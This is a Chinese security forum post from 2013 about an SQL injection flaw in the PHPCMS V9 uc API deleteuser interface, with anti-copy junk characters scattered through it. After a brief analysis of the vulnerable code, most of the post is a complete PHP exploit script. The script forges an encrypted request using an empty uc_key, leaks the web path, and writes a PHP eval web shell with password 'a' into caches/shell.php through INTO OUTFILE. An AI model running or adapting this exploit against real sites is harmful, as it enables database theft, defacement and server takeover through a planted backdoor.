找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2155|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。( |- q  N1 r4 M( Z& L# G  Y, x  B
$ l$ s9 Q' _8 E5 }5 r4 b: p
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) z4 I: b9 i8 l) M  {
/ O0 Y% _0 {( F7 `7 l7 N8 ^
漏洞分析:4 x, U0 H' o$ x
1.未启用ucenter服务的情况下uc_key为空) n+ Y: V+ O8 y! I6 R
define('UC_KEY', pc_base::load_config('system', 'uc_key'));' b3 ?" k# c2 ?1 D" M
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) F, z; n' C4 p, e    public function deleteuser($get,$post) {# R. v" U; C( c9 M3 f
        pc_base::load_app_func('global', 'admin');# p, U* ?+ |/ c( q6 Y+ V
        pc_base::load_app_class('messagequeue', 'admin' , 0);# E9 T1 W$ I, E; R5 {6 R
        $ids = new_stripslashes($get['ids']);' _2 ]6 }7 A0 s
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 R9 P3 G+ z2 a7 t9 Y& V- J4 p* a; pSQL语句为
! m3 G! T' m+ e0 k6 g# ?( ?; C6 `SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 J% S: ]9 Q/ C& r8 i1 V7 t! ]# j
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell- o  o7 ?& T2 N$ M9 u/ a
<?php' W+ O  J- u% _" N
print_r('$ f' d) o( H. h' \/ J' ~
---------------------------------------------------------------------------
+ u8 z$ }4 l) Q9 zPHPcms (v9 or Old Version) uc api sql injection 0day
' ~9 D3 M( `$ T, Y; kby rayh4c#80sec.com
, s* g9 h2 H7 j6 K; G4 q) v5 R---------------------------------------------------------------------------
: |7 X* ?% G  g' U: y# a');" j; |3 j% B* X! @6 T; W

+ X9 A; ~/ {" g8 m! \1 Uif ($argc<3) {
0 l6 X5 j7 l  a( @8 r3 C    print_r('
: d# w* {5 k% N( u2 X---------------------------------------------------------------------------2 E! N& A' C1 Q( |2 M
Usage: php '.$argv[0].' host path OPTIONS
+ }( n: s; U5 E4 ?4 G& }host:      target server (ip/hostname)6 @# b8 }$ `3 @' J% ?+ Y
path:      path to phpcms
; w. q& x' X% Q6 G; l+ i5 |Options:) Z: J* r- j# n) S8 J* p% W
-p[port]:    specify a port other than 80
3 j. f2 c" j9 j' O* u -P[ip:port]: specify a proxy
  \' t" ]+ f' [! _" eExample:
  X* e% w" s. A, E1 [1 e7 mphp '.$argv[0].' localhost /2 j/ O4 C4 o- @& @+ d. W
php '.$argv[0].' localhost /phpcms/ -p81/ V' @- W4 }9 a$ a9 o7 T4 c
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:804 k9 l: F, ^: O% N
---------------------------------------------------------------------------% M( B; G5 H+ v+ u0 Y7 k
');
7 C* S; j* R) S8 l- N7 e    die;
3 X' u* w5 s1 h}, x( m0 L8 M  n% Z) l
" H* o. a+ Q3 ^; g' T( w  P
error_reporting(7);
. A( W9 `0 f' m3 B, c3 \- P3 T" mini_set("max_execution_time",0);$ e' G& F! G' ~7 ^
ini_set("default_socket_timeout",5);6 i: E! P! g3 Z; l
$ q9 e8 y+ B8 C6 H4 n" I
function quick_dump($string)
; @# b2 p( i5 O+ f{# u, j. g, G5 k* E3 K' n8 @
  $result='';$exa='';$cont=0;
  W: e) I# A: ?3 @% E4 ?2 _/ e  for ($i=0; $i<=strlen($string)-1; $i++)" s+ i3 A6 E0 K8 w+ J
  {
( e0 m. c- H2 L4 O- c# b   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 A; G* y: q6 |" B
   {$result.="  .";}
: C" u( p$ b( _' o& e$ M9 c   else
: `, a0 S. y% C1 {   {$result.="  ".$string[$i];}
; |3 J, L. c- U, r2 A8 u   if (strlen(dechex(ord($string[$i])))==2)
" `, w4 l; X) r   {$exa.=" ".dechex(ord($string[$i]));}
6 B% b% B, {2 K! H- S7 V   else; I% [: s& ^: _1 C* G  V/ b$ ]" N. q2 P0 \
   {$exa.=" 0".dechex(ord($string[$i]));}
: |' z# Q- J* p% R/ J   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}3 y1 l0 @5 G  W" w3 o* h
  }
2 {9 ?4 x9 g' [' f& p6 h return $exa."\r\n".$result;4 `- ^9 @' |' O; H, w4 W- o; ?# C2 h
}& l+ n7 A6 ]6 a' v; s6 A* m6 |8 `
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';0 o. ?( _  ^# |- T2 S! Y& ?! R. d! V9 n

; q9 n( K5 P! d. B: ~) T& Hfunction send($packet)7 Z( L/ ^: {8 k/ p% L
{
& U" z( K3 p  ]' A' N! |  global $proxy, $host, $port, $html, $proxy_regex;
& h8 d+ g: |2 u$ n1 J  if ($proxy=='') {7 ?$ u6 }# U: E6 i8 R  C+ K: }! K
    $ock=fsockopen(gethostbyname($host),$port);
" T( X: b: M- }: q/ J2 x: E; s    if (!$ock) {
8 Y* M$ \  |2 Z. P      echo 'No response from '.$host.':'.$port; die;" F, \. s/ |9 U0 G# D: r
    }
) B9 E/ `1 @8 p* m. z( p0 e  }" h3 c' R4 C, `, y
  else {
2 R" a# N+ R8 r  p- M        $c = preg_match($proxy_regex,$proxy);
. U* A7 H" S4 f  C    if (!$c) {# r$ Q, \, Y6 Q
      echo 'Not a valid proxy...';die;- |& U! x) H* X
    }
6 b! A; {1 K! r% ^+ M2 R; t    $parts=explode(':',$proxy);4 q$ b; q! y! h/ E  L
    $parts[1]=(int)$parts[1];) i! s. p, ^# U* }' S  e4 p9 ^
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ N0 }/ R. ?. |+ Z. c; R
    $ock=fsockopen($parts[0],$parts[1]);3 {) K3 r$ C9 l2 a2 J$ V
    if (!$ock) {1 s- [; c! @& |  f% R! l' s1 p
      echo 'No response from proxy...';die;
& F! p8 |" f# w8 i: Q        }
: [  `, u" }5 }) \! a, J  }- `$ m6 W' ?7 ?& F! e% `
  fputs($ock,$packet);
. @+ X+ h1 S) y) Y7 o: y. ?  if ($proxy=='') {$ u7 k% U4 P; `' Y6 ~( d
    $html='';
) W1 [* u+ C; z    while (!feof($ock)) {7 J' w; X$ |' I" s
      $html.=fgets($ock);
8 W; e7 F8 c/ E" {7 H    }
/ P' n6 l: z, F. B  k2 d+ g& M  }( b4 u" p5 M, C2 i+ ?
  else {
: G: \& }  F) u$ B  z" e: e    $html='';; ]! g& ?% c3 _" r
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {" l" q6 p3 w! Y* I, {
      $html.=fread($ock,1);
+ O- a* U' e) \8 Z$ x( n    }% W1 S/ Y- L# U: R
  }6 r% {  r& `1 l
  fclose($ock);# v1 h" o( B9 y! x% x7 Y+ m
}
& W( Z) Z4 b9 s9 r; q5 f( ~+ W9 J/ t' C% T; y% t, i3 r5 p2 g
$host=$argv[1];% u% n$ ]3 o2 ?6 K/ v% k2 T
$path=$argv[2];
6 \7 j, N1 M2 `2 s2 P$port=80;- u5 O+ H6 h2 b9 p& c. g
$proxy="";
# y3 e* J+ C4 s3 ~4 k3 ~for ($i=3; $i<$argc; $i++){% X! F/ b8 G5 J3 c
$temp=$argv[$i][0].$argv[$i][1];
; f+ o3 N! A' q; S# ?if ($temp=="-p")
4 e9 C; e, g, N6 y, ]  i% u{! }) S8 L" S7 O. z# N& `
  $port=(int)str_replace("-p","",$argv[$i]);+ k3 x4 U+ q$ R* A- O
}+ f3 l4 y( [# V8 O
if ($temp=="-P")! x8 A$ w1 ~; {7 _7 ]
{
0 i) R2 m" r  I; ^. H  $proxy=str_replace("-P","",$argv[$i]);
# t8 g/ J( B: r- j}: J% I2 v2 G. J+ \2 C
}" x; n$ z5 N2 r$ c

# N! ?" `/ q3 Q# xif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 C& _. }3 C. r0 ~8 c. o+ {
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
3 |0 W: g# W9 {2 V. R, z( o1 j1 D
' g. ^% E$ k7 ffunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {; z6 w: e: X/ k% ]# m8 V0 b
3 d+ x  w' O! i# c6 G4 X6 S
    $ckey_length = 4;. R5 v! }3 K8 e: \9 s& Z* l

- o! Y" j% b& E" \3 [8 _  v    $key = md5($key ? $key : '');( ]* @# y/ @" \3 m
    $keya = md5(substr($key, 0, 16));
( |) P$ \# Z6 Z3 M    $keyb = md5(substr($key, 16, 16));
6 ~+ V5 S8 O& ?3 ]* u9 L; K' a* W0 ^    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
- c" P5 v$ x  }! q+ x
- n% j$ Y* _! Z+ M# Y8 Y# p6 Q    $cryptkey = $keya.md5($keya.$keyc);
+ P0 r" _2 K3 J/ m& B    $key_length = strlen($cryptkey);
4 L+ f: t+ F- h2 J. z/ A! o1 H1 v% k
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;( c! Y) Q! k% b2 k% g# C
    $string_length = strlen($string);
) Y9 C/ y( Q& c( ?' g+ D5 Q
5 V# u6 m  |( S* d    $result = '';
7 y& K  q, K: Z( K- `* Z; }6 h    $box = range(0, 255);; V$ ?; |! ~$ r& B% w
9 ?+ v+ B+ ~& a; U0 |8 ?
    $rndkey = array();2 S2 m- G2 c( D$ Z
    for($i = 0; $i <= 255; $i++) {7 P" J  V  V# Z$ z. c' X6 r
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);- D( e! O0 g' \. o0 a3 ?
    }
) R, b$ e/ V+ a. {; W
7 y- }9 G! u2 f, C1 s" m) b" ?* F    for($j = $i = 0; $i < 256; $i++) {2 i: }- w" `+ M1 Z' w
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
* j8 o. s4 H0 i) R* C" q4 n        $tmp = $box[$i];
, x  R3 F7 X  Q. V        $box[$i] = $box[$j];2 S& N6 s5 [  b& |. [' O3 K8 g
        $box[$j] = $tmp;$ N- k& O) M( `9 T3 t
    }
& B! C; K) m$ d4 X/ V! Y( H
8 E/ b3 X& [0 U5 t( N8 j    for($a = $j = $i = 0; $i < $string_length; $i++) {
1 T9 D; t5 n& U        $a = ($a + 1) % 256;/ s7 c8 u% E* V. {, E' I
        $j = ($j + $box[$a]) % 256;
. v0 q+ G2 q/ D  W3 @        $tmp = $box[$a];
( h. H7 j& l) g' W- S        $box[$a] = $box[$j];
) K; d7 d6 y. O6 c7 _" O" ^        $box[$j] = $tmp;& z  q3 k, \2 q7 y, q, d. |$ O
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
/ N& V2 j+ ?1 q+ o. i4 Y    }
$ n) _( a0 `' x  {5 k# P) h1 l& u6 c$ W
. ^; N! u$ @( d0 `+ f8 O    if($operation == 'DECODE') {3 s2 n3 Y) c! I1 c+ H8 g
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {! E5 R( S3 X) k8 P0 i; r9 n
            return substr($result, 26);" j/ c* w  G& r8 ]% l% T5 N
        } else {
+ S- W) [7 ^. X3 M            return '';* s, i, V3 f; A+ w/ S) L& o
        }
% _, H( d6 h& f, z& q" f    } else {
. C3 ^& u  ?. l; o5 ]1 f( W        return $keyc.str_replace('=', '', base64_encode($result));
% L& g# z% J+ t( n    }8 ^% s! }9 ]! m0 d/ ~4 y  n/ K
% O: j3 t  ~$ G1 x& y
}# R! }% K8 P6 ^( q9 Y/ c% P
* ]( ]3 H# r% B5 b( J" f
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( S- N2 Q! @* g3 B6 K* T$SQL = urlencode(authcode($SQL, "ENCODE", ""));: O0 A6 D: z& X; `, T
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% {5 Z# U# s: H% S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";& P4 r2 Y( ]) P: X
$packet.="User-Agent: Mozilla/5.0\r\n";5 z: Q, p, w" h  X
$packet.="Host: ".$host."\r\n";$ w$ \$ K9 Y% `; a* t6 o
$packet.="Connection: Close\r\n\r\n";  Z8 }8 L0 N9 h$ f: ^
send($packet);
( r  c$ Q( c8 V4 |2 T: Zif(strpos($html,"MySQL Errno") > 0){/ ?  R7 v/ h; B2 {
echo "[2] 发现存在SQL注入漏洞"."\n";
/ ^- k" K  B: C$ j& `# Lecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";; W/ J: s! ?: F8 r6 ^
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";! e/ j& l+ i1 Q1 C# e  n9 I
$packet.="User-Agent: Mozilla/5.0\r\n";1 F: k, V; J: j
$packet.="Host: ".$host."\r\n";* O  d- C' A0 O
$packet.="Connection: Close\r\n\r\n";6 A6 l1 n( h9 r; i8 W) R! Y- a
send($packet);
0 c7 U0 K( \+ b8 ]( D; ?preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
% a+ j: h2 ]5 x2 U; H- L//print_r($matches);% B: [: f% w5 E& h3 y2 x" G( f5 E5 T( L
if(!empty($matches)){) f2 M3 k' u0 [. T' R0 `4 d
echo "[4] 得到web路径 " . $matches[0]."\n";
8 F: E0 P/ z  Yecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
  t6 P6 J. E* j! z: d$SQL = "time=999999999999999999999999&ids=1)";
) p0 _3 @* C' t9 w$ H, I, B$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
4 q- D# b# k2 N% h$SQL.="&action=deleteuser";
! T: f' {- w8 K4 b0 W1 q' g6 |( _8 G$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 q- d: {- W* s4 d
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";& i; g5 ]1 c" V( k
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
# B" q& u* E1 v6 Y$ |$ ]- b5 \$packet.="User-Agent: Mozilla/5.0\r\n";
1 ^+ t1 n& B" |( j$packet.="Host: ".$host."\r\n";# P5 u( s3 p' i5 O5 l8 `
$packet.="Connection: Close\r\n\r\n";
: U. \5 e+ L) E) g! x) Y. Ssend($packet);
' p/ `' n6 d; J9 Oif(strpos($html,"Access denied") > 0){# [2 X# k: c, O( i/ W1 M: g
echo "[-] MYSQL权限过低 禁止写入文件 ";+ N3 r# a  p! W8 T0 |+ v# Z
die;9 k. N# ~6 i' U6 u4 E9 M
}
, m  \/ s" [6 pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";  I9 a8 ]# e- V6 [
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
- Y+ S: ^5 ~+ X% x, o. J1 O- V$packet.="User-Agent: Mozilla/5.0\r\n";
( D" n! g0 s1 k' }- U" o& v$packet.="Host: ".$host."\r\n";
5 w+ Z5 R6 d# B7 u$packet.="Connection: Close\r\n\r\n";1 [: [/ y0 N3 `" P  l; ~1 v: R
send($packet);
3 @" R  H! H5 L7 x! {' G- sif(strpos($html,"<title>phpinfo()</title>") > 0){! T% f# }% G# |5 E3 W/ k, W( J
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";' G9 X3 q" J# @3 b3 x
}
) k1 a8 t3 o3 n- ~}else{
7 C' p* B  K8 u, R. B2 H( y4 ?echo "[-]未取到web路径 ";: ^- B# [: E5 G# {& }
}: L* m# z1 L" t* Q' k5 ^, \. k
}else{
) N: k" f# Y+ D- aecho "[*]不存在SQL注入漏洞"."\n";
. ?( J8 h) o* j}0 C  b  I1 p9 k# z6 Y1 x& j" I
* ?) h/ v* D! _  _- S/ L
?>
" J' {* L) w0 f) F3 |4 ?  q: }  Z. w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表